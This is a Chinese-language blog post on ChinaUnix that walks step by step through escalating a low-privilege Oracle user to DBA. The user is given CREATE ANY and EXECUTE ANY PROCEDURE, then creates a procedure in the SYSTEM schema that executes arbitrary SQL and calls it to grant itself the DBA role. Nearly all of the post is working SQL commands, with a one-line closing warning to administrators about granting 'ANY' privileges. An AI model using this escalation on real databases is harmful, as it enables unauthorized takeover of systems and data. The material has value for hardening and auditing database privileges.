Chinaunix首页 | 论坛 | 博客
  • 博客访问: 895260
  • 博文数量: 206
  • 博客积分: 10276
  • 博客等级: 上将
  • 技术积分: 2358
  • 用 户 组: 普通用户
  • 注册时间: 2006-04-01 02:41
文章分类

全部博文(206)

文章存档

2014年(1)

2013年(1)

2012年(2)

2011年(10)

2010年(14)

2009年(15)

2008年(33)

2007年(90)

2006年(40)

我的朋友

分类: Oracle

2010-11-27 11:56:54

如何利用系统漏洞获取Oracle DBA权限

1、创建一个用户hacker
SQL>create user hacker identified by hacker123
         default tablespace users
         quota unlimited on users;

2、为hacker用户赋权

SQL>grant create session to hacker;
SQL>grant create any procedure,execute any procedure to hacker;
说明:用户只要有了create any procedure,execute any procedure这些权限就够了
3、以hacker用户连接数据库

SQL>conn hacker/hacker123;

4、查询当前用户都有哪些权限

SQL>select * from session_privs;

5、创建一个存储过程

SQL>create procedure system.h1(
         h1_str in varchar2)
         as
         begin
         execute immediate h1_str;
         end;
         /
6、执行此存储过程

SQL>execute system.h1('grant dba to hacker');

7、重新以hacker用户连接数据库

SQL>conn hacker/hacker123;

8、查询此用户此时的权限

SQL>select * from session_privs;
SQL>select * from session_roles;

然而,事物都具有两面性,此实验也告诫DBA朋友们,赋予用户create any procedure,execute any procedure 权限或者是含有“any”字眼的权限时要慎重!!!

阅读(2342) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~